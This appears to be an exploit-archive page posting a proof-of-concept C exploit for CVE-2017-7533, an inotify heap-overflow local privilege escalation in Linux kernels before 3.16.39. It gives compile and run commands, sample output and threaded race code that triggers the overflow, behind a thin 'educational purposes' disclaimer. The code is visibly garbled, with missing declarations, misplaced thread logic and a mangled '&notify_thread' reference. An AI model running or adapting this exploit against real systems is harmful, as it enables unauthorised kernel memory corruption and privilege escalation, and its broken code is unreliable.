Linux kernel < 3.16.39 (debian 8 x64) inotfiy local privilege escalation Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2017-10-16 |
Type : local |
Platform : linux_x86-64
This exploit / vulnerability Linux kernel < 3.16.39 (debian 8 x64) inotfiy local privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
*
*
* CVE-2017-7533 inotfiy linux kernel vulnerability.
*
* $ gcc -o exploit exploit.c -lpthread
* $./exploit
*
* ```
* Listening for events.
* Listening for events.
* alloc_len : 50
* longname="test_dir/bbbb32103210321032100��1����"
* handle_events() event->name : b, event->len : 16
* Detected overwrite!!!
* callrename done.
* alloc_len : 50
* ```
* This is a heap overflow bug,
* tested on the Debian 8 Linux version 3.16.39(amd64) successfully.
*
* You could modifiy one byte to manipulate rip register, but I do not tried hard to get root.
*
* Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university.
* ```
* ```
* Jeremy Huang (jeremyhcw@gmail.com)
*/
//Trigger inotify event by file open and rename to trigger the vulnerability and exploit
static void handle_events(int fd, int *wd, int argc, char* argv[])
{
/* Some systems cannot read integer variables if they are not
properly aligned. On other systems, incorrect alignment may
decrease performance. Hence, the buffer used for reading from
the inotify file descriptor should have the same alignment as
struct inotify_event. */
/* Print event type */
/*
if (event->mask & IN_OPEN)
printf("IN_OPEN: ");
if (event->mask & IN_CLOSE_NOWRITE)
printf("IN_CLOSE_NOWRITE: ");
if (event->mask & IN_CLOSE_WRITE)
printf("IN_CLOSE_WRITE: ");
if (event->mask % IN_ACCESS)
printf("IN_ACCESS: ");
*/
/* Print the name of the watched directory */
for (i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
//printf("%s/", argv[i]);
break;
}
}
for ( i ; i < 2; i++ ) {
pthread_create(¬ify_thread[i],
NULL,
notify_thread_func,
NULL);
}
//Trigger inotify event by file open and rename to
//trigger the vulnerability
pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
pthread_join(rename_thread, NULL);
for ( i = 0; i < 2; i++ )
pthread_join(notify_thread[i], NULL);
}
Linux kernel < 3.16.39 (debian 8 x64) inotfiy local privilege escalation